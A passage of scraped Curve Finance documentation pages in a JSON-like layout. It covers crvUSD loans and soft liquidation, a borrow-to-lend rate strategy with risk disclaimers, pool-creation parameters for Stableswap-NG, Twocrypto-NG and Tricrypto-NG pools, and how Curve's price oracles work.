soft-liquidation range for a long time before falling into soft liquidation on day 50. They quickly fell through soft liquidation to the safety on the other side but lost 3.1% to soft liquidation fees. At any time from day 50 to day 62 they could have repaid debt to increase their health. As they were passive and did nothing soft-liquidation fees reduced their health to 0 when going back up through their soft-liquidation range. This is an unfortunate situation where the increasing collateral price caused hard-liquidation. Use this strategy at your own risk Users in this quadrant are at the highest risk of hard-liquidation. Using this strategy is not advised. Under Soft-Liquidation Loan Example This loan started with 57.07 wstETH collateral , with N=4 and 102k crvUSD debt . They paid off small amounts of debt a few times throughout the loan and finished with 93.5k crvUSD debt and 53.44 wstETH collateral . This loan is a great example of the power of LLAMMA and soft-liquidations. The user spent more than 50% of the loan time under the soft-liquidation range . Yet the loss from soft-liquidation fees was only 6.37% . While under the soft-liquidation range the user was shielded from any further losses in the wstETH price as all their collateral was converted to crvUSD. Yet when the price rose the user benefited from price increases as their collateral was swapped back to wstETH. The AAVE/Spark Liq price plot for this loan shows that this loan would not be possible in competitor systems except from the 91 st day when debt was lower and wstETH price rose. Strategies Borrowing to Lending Rate Arbitrage As crvUSD is minted with high quality collateral in crvUSD markets, a user can usually make profit by minting crvUSD and supplying it elsewhere, especially to riskier markets. This strategy is simple, you borrow crvUSD and supply it at higher rates, making the difference: \\[\\text{profitRate = supplyRate - borrowRate}\\] Strategy: Supply collateral (e.g., ETH, wBTC, wstETH) to a crvUSD market Borrow crvUSD Supply crvUSD to a market with a higher supplying rate than crvUSD borrow rates, e.g., Curve Lending Markets , Conic Omnipools , Silo Finance Markets . Risks: The user must monitor their loan health to stay out of any liquidations (soft or hard) as losses from liquidation may be larger than profit from the rate arbitrage. crvUSD risk, i.e., smart contract risk from crvUSD stablecoin and the crvUSD markets, see crvUSD risk disclaimer here Smart contract and bad debt risk from lending markets, i.e., if you supply to Curve lending, see Curve Lending risk disclaimer here . Otherwise please research and be informed of risks for other platforms. Mentions of platforms here is not an endorsement of their safety. Back to top", "labels": ["Documentation"]}, {"title": "Understanding crvUSD", "html_url": "https://resources.curve.fi/crvusd/understanding-crvusd/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Understanding crvUSD Table of contents Markets Risks Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Markets Risks Home Curve Stablecoin (crvUSD) Understanding crvUSD Curve Stablecoin infrastructure enables users to mint crvUSD using a variety of crypto collaterals. Positions are managed passively: if the price of the collateral decreases, the loan automatically enters a soft-liquidation mode , wherein some of the collateral is converted to crvUSD. Conversely, if the collateral's price increases, the system reclaims the collateral by converting crvUSD back to the collateral token. However, this process may incur some losses due to the soft-liquidations and de-liquidations. Manage crvUSD positions at https://crvusd.curve.fi/ . Markets On the Markets tab, all available collateral types are displayed. The page displays the current borrow rate , total debt, debt cap, remaining amount available for borrowing, and the total value of collateral. If a user does not have an existing loan, clicking on any market will lead to the loan creation interface. Should a loan already exist, a dollar sign overlay will appear on the left. Selecting the market in this case will lead to the loan management interface. Risks Please consider the following risk disclaimers when using the Curve Stablecoin infrastructure: If your collateral enters soft-liquidation mode, you can't withdraw it or add more collateral to your position. Should the price of the collateral drop sharply over a short time interval, your position will get hard-liquidated, with no option of de-liquidation. Please choose your leverage wisely, as you would with any collateralized debt position. If your collateral enters soft-liquidation mode, you can't withdraw it or add more collateral to your position. Should the price of the collateral change drop sharply over a short time interval, it can result in large losses that may reduce your loan's health. If you are in soft-liquidation mode and the price of the collateral goes up sharply, this can result in de-liquidation losses on the way up. If your loan's health is low, value of collateral going up could potentially reduce your underwater loan's health. If the health of your loan drops to zero or below, your position will get hard-liquidated with no option of de-liquidation. Please choose your leverage wisely, as you would with any collateralized debt position. The crvUSD stablecoin and its infrastructure are currently in beta testing. As a result, investing in crvUSD carries high risk and could lead to partial or complete loss of your investment due to its experimental nature. You are responsible for understanding the associated risks of buying, selling, and using crvUSD and its infrastructure. The value of crvUSD can fluctuate due to stablecoin market volatility or rapid changes in the liquidity of the stablecoin. crvUSD is exclusively issued by smart contracts, without an intermediary. However, the parameters that ensure the proper operation of the crvUSD infrastructure are subject to updates approved by Curve DAO. Users must stay informed about any parameter changes in the stablecoin infrastructure. Back to top", "labels": ["Documentation"]}, {"title": "Creating a Stableswap-NG pool", "html_url": "https://resources.curve.fi/factory-pools/creating-a-stableswap-ng-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Stableswap NG Pool Table of contents Tokens in Pool Standard ERC-20 Tokens with Oracles Rebasing Tokens ERC-4626 Parameters Pool Info Deploying the Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Tokens in Pool Standard ERC-20 Tokens with Oracles Rebasing Tokens ERC-4626 Parameters Pool Info Deploying the Pool Home Pool Creation Creating a Stableswap-NG pool The Stableswap pool creation is appropriate for assets expected to hold a price peg very close to each other, like a pair of dollarcoins. The creation wizard will guide you through the process of creating a pool, but if you have questions throughout you are encouraged to speak with a member of the Curve team in the Telegram or Discord . Stableswap pools are liquidity pools containing up to eight tokens using the StableSwap algorithm (Curve V1). For a better understanding of Curve V1, please see here: Understanding Curve V1 . Stableswap-NG StableSwap-NG is an improved and refined version of the first StableSwap implementation. It is highly gas optimized and also includes dynamic fees which increases as liquidity utilization increases. Tokens in Pool The token selection tab can be used to select between two and eight tokens . A token can be selected by searching for the symbol of any token that is already being used on Curve, or by pasting the pool's address. Additional tokens can be added through the blue Add token button. When creating a metapool, only two tokens can be selected. One is the LP token, and the other is the token to pair against it. Warning ERC20: Users are advised to do careful due diligence on ERC20 tokens that they interact with, as this contract cannot differentiate between harmless and malicious ERC20 tokens. Oracle: When using tokens with oracles, it is important to know that they may be controlled externally by an EOA . Rebasing: Users and integrators are advised to understand how the AMM contract works with rebasing balances. ERC4626: Some ERC4626 implementations may be susceptible to Donation/Inflation attacks . Users are advised to proceed with caution. For the AMM to function correctly, the appropriate asset type needs to be chosen when selecting the assets. The following asset types are supported: Standard ERC-20 Standard ERC-20 tokens do not need any additional configuration. Tokens with Oracles Oracle Precision The precision of the rate oracle must be \\(10^{18}\\) . Otherwise, the liquidity pool will not function correctly, as the exchange rate will be broken. Some tokens might require an external rate oracle to ensure correct calculations within the AMM. This is especially useful for tokens with rates against their underlying tokens, such as rETH against ETH. In this case, when selecting a token with an oracle, the corresponding box needs to be ticked, and an extra section for the contract address and oracle price method will appear. Some tokens might source their price oracle from a contract other than the token contract. Rebasing Tokens Rebasing tokens in crypto are cryptocurrencies that automatically adjust their supply periodically based on a predetermined algorithm, typically to maintain a stable value or peg to another asset. ERC-4626 ERC-4626 is a standard designed to optimize and unify the technical parameters of yield-bearing vaults. It provides a standard API for tokenized yield-bearing vaults that represent shares of a single underlying ERC-20 token. When using these kinds of tokens, the pool calculates the underlying amount as if the underlying tokens were in the pool. Parameters Stableswap-NG offers three different default Pool Parameter Presets: Swap Fee ranging from 0% to 1% : The swap fee charged during transactions. A ranging from 1 to 5,000 : A is an amplification coefficient, which defines the pool's liquidity depth. The higher the value of A , the deeper the liquidity. Offpeg Fee Multiplier from 0 to 12.5 : A multiplier that adjusts the Swap Fee based on the pool's state. Moving Average Time ranging from 60 to 3600 seconds : The moving average time window for the built-in oracle. Offpeg Fee Multiplier Stableswap-NG introduces a dynamic fee . The use of the Offpeg Fee Multiplier allows the system to dynamically adjust the fee based on the pool's state. A tool to play around with the dynamic fee: https://www.desmos.com/calculator/zhrwbvcipo? Pool Info Finally, after setting all the parameters, a Pool Name and Pool Symbol can be chosen: Deploying the Pool On the right-hand side, there is a tab that summarizes all the tokens, parameters, and information. The pool can finally be deployed by pressing the blue Create Pool button at the bottom. After deployment, make sure to seed initial liquidity and potentially create a gauge . Back to top", "labels": ["Documentation"]}, {"title": "Creating a Tricrypto-NG Pool", "html_url": "https://resources.curve.fi/factory-pools/creating-a-tricrypto-ng-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Creating a Tricrypto NG Pool Table of contents Tokens in Pool Parameters Pool Info Deploying the Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Tokens in Pool Parameters Pool Info Deploying the Pool Home Pool Creation Creating a Tricrypto-NG Pool A tricrypto-NG pool is a liquidity pool containing three volatile assets using the CryptoSwap algorithm (Curve V2). For a better understanding of Curve v2, please see here: Understanding Curve v2 . Due to safety reasons, the use of plain ETH is no longer possible. Instead, wrapped ETH (wETH) needs to be used. The following documentation will present a rundown of the process of creating such a pool using the Pool Creation Interface : Tokens in Pool In the token selection tab, three tokens can be chosen. By default, the UI allows a user to select two tokens, but clicking on the blue Add token button will extend the token selection by one more token. Parameters The UI provides two presets for parameter values: Tricrypto : Suitable for pools containing a USD stablecoin, BTC (e.g., tBTC or wBTC), and ETH. Three Coin Volatile : Suitable for pools containing a volatile token paired with ETH and USD stablecoins. On the parameters tab, you can review and adjust the predefined parameters from the preset. Crypto v2 pools contain many parameters. If you are uncertain which parameters to use, you may want to ask for help in any Curve channel before deploying. The basic parameters include the fees charged to users who interact with the pool. This is divided dynamically into a Mid fee and Out fee parameter, which represent the minimum and maximum fees during periods of low and high volatility. Mid Fee ranging from 0.005% to 3% : This is the minimum fee and is charged when the pool is perfectly balanced. Out Fee ranging from 0.01% to 3% : This is the maximum fee and is charged when the pool is completely out of balance. In CryptoSwap pools, the liquidity is concentrated. These initial liquidity concentration prices are fetched from CoinGecko . If the tokens do not exist there or for some reason cannot be fetched, the user must set these values manually. The Advanced toggle allows you to adjust several other parameters under the hood. Tip A great article on understanding parameters can be found here: https://nagaking.substack.com/p/deep-dive-curve-v2-parameters?s=curve . Amplification Parameter (A) ranging from 4,000 to 400,000,000 : Larger values of A make the curve better resemble a straight line in the center (when the pool is near balance). Highly volatile assets should use a lower value, while assets that are closer together may be best with a higher value. Gamma ranging from 0.00000001 to 0.002 : The gamma parameter can further adjust the shape of the curve. Default values recommend 0.000145 for volatile assets and 0.0001 for less volatile assets. Allowed Extra Profit ranging from 0 to 0.01 : As the pool takes profit, the allowed extra profit parameter allows for greater values. Recommended 0.000002 for volatile assets and 0.00000001 for less volatile assets. Fee Gamma ranging from 0 to 1 : Adjusts how fast the fee increases from Mid Fee to Out Fee. Lower values cause fees to increase faster with imbalance. Recommended value of 0.0023 for volatile assets and 0.005 for less volatile assets. Adjustment Step ranging from 0 to 1 : As the pool rebalances, it must do so in units larger than the adjustment step size. Volatile assets are suggested to use larger values (0.000146), while less volatile assets do not move as frequently and may use smaller step sizes (default 0.0000055). Moving Average Time ranging from 0 to 604,800 seconds : The price oracle uses an exponential moving average to dampen the effect of changes. This parameter adjusts the half-life used. Pool Info Finally, after setting all the parameters, a Pool Name and Pool Symbol can be chosen: Deploying the Pool On the right-hand side, there is a tab that summarizes all the tokens, parameters, and information. The pool can finally be deployed by pressing the blue Create Pool button at the bottom. After deployment, make sure to seed initial liquidity and create a gauge . Back to top", "labels": ["Documentation"]}, {"title": "Creating a Twocrypto-NG Pool", "html_url": "https://resources.curve.fi/factory-pools/creating-a-twocrypto-ng-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Twocrypto NG Pool Table of contents Tokens in Pool Parameters Pool Info Deploying the Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Tokens in Pool Parameters Pool Info Deploying the Pool Home Pool Creation Creating a Twocrypto-NG Pool A twocrypto-NG pool is a liquidity pool containing two volatile assets using the CryptoSwap algorithm (Curve V2). For a better understanding of Curve v2, please see here: Understanding Curve v2 . Due to safety reasons, the use of plain ETH is no longer possible. Instead, wrapped ETH (wETH) needs to be used. The following documentation will present a rundown of the process of creating such a pool using the Pool Creation Interface : Tokens in Pool In the token selection tab, two tokens can be chosen. By default, the UI allows a user to select two tokens, but clicking on the blue Add token button will extend the token selection by one more token, which would result in the creation of a Tricrypto-NG pool . Parameters The UI provides three presets for parameter values: Crypto : Suitable for most volatile pairs such as LDO <> ETH Forex : Suitable for forex pairs with low relative volatility such as crvUSD <> EURe Liquidity Staking Derivatives : Suitable for liquid staking derivatives soft-pegged to its underlying asset such as wETH <> cbETH Liquid Restaking Tokens : Suitable for liquid restaking tokens such as WETH <> pufETH. On the parameters tab, you can review and adjust the predefined parameters from the preset. Crypto v2 pools contain many parameters. If you are uncertain which parameters to use, you may want to ask for help in any Curve channel before deploying. The basic parameters include the fees charged to users who interact with the pool. This is divided dynamically into a Mid fee and Out fee parameter, which represent the minimum and maximum fees during periods of low and high volatility. Mid Fee ranging from 0.005% to 3% : This is the minimum fee and is charged when the pool is perfectly balanced. Out Fee ranging from 0.26% to 3% : This is the maximum fee and is charged when the pool is completely out of balance. In CryptoSwap pools, the liquidity is concentrated. These initial liquidity concentration prices are fetched from CoinGecko . If the tokens do not exist there or for some reason cannot be fetched, the user must set these values manually. The Advanced toggle allows you to adjust several other parameters under the hood. Tip A great article on understanding parameters can be found here: https://nagaking.substack.com/p/deep-dive-curve-v2-parameters?s=curve . Amplification Parameter (A) ranging from 4,000 to 400,000,000 : Larger values of A make the curve better resemble a straight line in the center (when the pool is near balance). Highly volatile assets should use a lower value, while assets that are closer together may be best with a higher value. Gamma ranging from 0.00000001 to 1.99 : The gamma parameter can further adjust the shape of the curve. Default values recommend 0.000145 for volatile assets and 0.0001 for less volatile assets. Allowed Extra Profit ranging from 0 to 0.01 : As the pool takes profit, the allowed extra profit parameter allows for greater values. Recommended 0.000002 for volatile assets and 0.00000001 for less volatile assets. Fee Gamma ranging from 0 to 1 : Adjusts how fast the fee increases from Mid Fee to Out Fee. Lower values cause fees to increase faster with imbalance. Recommended value of 0.0023 for volatile assets and 0.005 for less volatile assets. Adjustment Step ranging from 0 to 1 : As the pool rebalances, it must do so in units larger than the adjustment step size. Volatile assets are suggested to use larger values (0.000146), while less volatile assets do not move as frequently and may use smaller step sizes (default 0.0000055). Moving Average Time ranging from 0 to 604,800 seconds : The price oracle uses an exponential moving average to dampen the effect of changes. This parameter adjusts the half-life used. Pool Info Finally, after setting all the parameters, a Pool Name and Pool Symbol can be chosen: Deploying the Pool On the right-hand side, there is a tab that summarizes all the tokens, parameters, and information. The pool can finally be deployed by pressing the blue Create Pool button at the bottom. After deployment, make sure to seed initial liquidity and create a gauge . Back to top", "labels": ["Documentation"]}, {"title": "Curve Pool Creation", "html_url": "https://resources.curve.fi/factory-pools/pool-creation-overview/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Pool Creation Curve Pool Creation The Curve pool creation interface allows any user to permissionlessly deploy a Curve pool. These pools can contain a variety of assets, including pegged tokens, unpegged tokens, and some pool tokens, for example 3crv. This interface supports deploying pools on most chains, although there might be some chains that are not supported yet. Liquidity Pool Risks Each liquidity pool brings risks with it. Before using or creating any pools, please read the Risk Disclaimer . Asset 1 Pool Creation Interface To get started, visit the Pool Creation tab at the top of the Curve homepage, and select whether you would like to create a \"Stableswap Pool\" (a pool with pegged assets, e.g., crvUSD <> USDT) or a \"Cryptoswap Pool\" (containing assets whose prices may be volatile, e.g., CRV <> ETH). Info NG stands for New-Generation and represents enhanced and improved versions of prior implementations. All newly created pools are \"new-generation pools\". Stableswap Stableswap pools are liquidity pools containing up to eight pegged assets, for example crvUSD <> USDT <> USDC. Getting started Twocrypto NG Twocrypto pools are liquidity pools containing two volatile assets, for example CRV <> ETH. Getting started Tricrypto NG Tricrypto pools are liquidity pools containing three volatile assets, for example crvUSD <> BTC <> ETH. Getting started Back to top", "labels": ["Documentation"]}, {"title": "Understanding oracles", "html_url": "https://resources.curve.fi/factory-pools/understanding-oracles/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Understanding oracles Table of contents Purpose Exponential Moving Average Updates Price Oracle Profits and Liquidity Balances Manipulation v1 Pools LLAMMA Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Purpose Exponential Moving Average Updates Price Oracle Profits and Liquidity Balances Manipulation v1 Pools LLAMMA Home Pool Creation Understanding oracles This article primarily covers the role of internal price oracles within Curve Finance v2 pools, with a brief note at the end of LLAMMA price oracles . Please note that Curve v1 and v2 pools do not rely on external price oracles. Misuse of external price oracles is a contributing factor to several major DeFi hacks. If you are looking to use Curves price oracle functions, or any price oracle, to provide on-chain pricing data in a decentralized application you are building, we recommend extreme caution. Purpose Curve v2 pools , which consist of assets with volatile prices, require a means of tracking prices. Instead of relying on external oracles, the pool instead calculates the price of these assets internally based on the trading activity within the pool. This is tracked by two similar but distinct parameters: Price Oracle: The pools expectation of the assets price Price Scale: The price based on the pools actual concentration of liquidity Pools keep track of recent trades within the pool as a variable called last_prices . The price_oracle is calculated as an exponential moving average of recent trade prices. The price_oracle represents what the pool believes is the fair price of the asset . In contrast, price_scale is a snapshot of how the liquidity in the pool is actually distributed. For this reason, price_scale lags price_oracle . As users make trades, the pool calculates how to profitably readjust liquidity , and the price_scale moves in the direction of the price_oracle . Price Oracle and Price Scale shown in the Curve UI Exponential Moving Average As discussed above, the price_oracle variable is calculated as an exponential moving average of last_prices . For comparison, traders commonly rely on a simple moving average as a technical analysis indicator, which calculates the average of a certain number points (ie, a 200-day moving average computes the average of the trailing 200 days of data). The exponential moving average\" is similar, except it applies a weighting to emphasize newer data over older data. This weighting falls off exponentially as it looks further back in time, so it can react quicker to recent trends. Updates An internal function tweak_price is called every time prices might need to be updated by an operation which might adjust balances within a pool (hereafter referred to as a liquidity operation ): add_liquidity remove_liquidity_one_coin exchange exchange_underlying The tweak_price function is a gas expensive function which can execute several state changing operations to state variables_._ Price Oracle The price_oracle is updated only once per block. If the current timestamp is greater than the timestamp of the last update, then price_oracle is updated using the previous price_oracle value and data from last_prices . The updated price_oracle is then used to calculate the vector distance from the price_scale , which is used to determine the amount of adjustment required for the price_scale . Profits and Liquidity Balances Curve v2 pools operate on profits. That is, liquidity is rebalanced when the pool has earned sufficient profits to do so. Every time a liquidity operation occurs, the pool chooses whether it should spend profits on rebalancing. The pools actions may be considered as an attempt to rebalance liquidity close to market prices. Pools perform all such operations strictly with profits, never with user funds. Profits are occasionally claimed by administrators, otherwise funds remain in the pool. In other words, profits can be calculated from the following function: profits == erc20.balanceOf(i) - pool.balances(i) Internally, every time the tweak_price function is called during a liquidity operation , the pool tracks profits. It then uses the updated profit values to consider if it should rebalance liquidity. Specifically, pools carry a public parameter called allowed_extra_profit which works like a buffer. If the pools virtual price has grown by more than a function of profits and the allowed_extra_profit buffer value, then the pool is considered profitable enough to rebalance liquidity. From here, the pool further checks that the price_scale is sufficiently different from price_oracle , to avoid rebalancing liquidity when prices are pegged. Finally, the pool computes the updates to the + and how this affects other pool parameters. If profits still allow, then the liquidity is rebalanced and prices are adjusted. Manipulation We do not recommend using Curve pools by themselves as canonical price oracles. It is possible, particularly with low liquidity pools, for outside users to manipulate the price. Curve pools nonetheless include protections against some forms of manipulation. The logic of the Curve price_oracle variable only updates once per block, which makes it more resistant to manipulation from malicious trading activity within a single block. Due to the fact that changes to price_oracle are dampened by an exponential moving average , attempts to manipulate the price may succeed but would require a prolonged attack over several blocks. Actual $CVX price versus CVX-ETH Pool Price Oracle and Price Scale during rapid volatility These safeguards all help to prevent various forms of manipulation. However, for pools with low liquidity, it is not difficult for whales to manipulate the price over the course of several transactions. When relying on oracles on-chain, it is safest to compare results among several oracles and revert if any is behaving unusually. v1 Pools Newer v1 Pools also contain a price oracle function, which also displays a moving average of recent prices. If the moving average price was written to the contract in the same block it will return this value, otherwise it will calculate on the fly any changes to the moving average since it was last written. Curve v1 pools do not have a concept of price scale, so no endpoint exists for retreiving this value. Older v1 pools will also not have a price oracle, so use caution if you are attempting to retrieve this value on-chain. LLAMMA The LLAMMA use of oracles is quite different than Curve v2 pools in that it can utilize external price oracles. In LLAMMA, the price_oracle function refers to the collateral price (which can be thought of as the current market price) as determined by an external contract. For example, LLAMMA uses price_oracle to convert $ETH to $crvUSD at a specific collateral price. When the external price is higher than the upper price (internally: P_UP ), all assets in the band range are converted to $ETH. When the price is lower than the lower price (internally: P_DOWN ), all assets are converted to $crvUSD. When the oracle price is in the middle, the current band is partially converted, with the exact proportion determined by price changes. When the external price changes, an arbitrage opportunity exists. External arbitrageurs can deposit $ETH or $crvUSD to balance the pool, until the pool price reaches parity with the external price. LLAMMA applies an exponential moving average to the price_oracle to prevent users from absorbing losses due to drastic fluctuations. More information on price oracles and other LLAMMA dynamics are available at this article . Back to top", "labels": ["Documentation"]}, {"title": "Branding & Icons", "html_url": "https://resources.curve.fi/glossary-branding/branding/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV 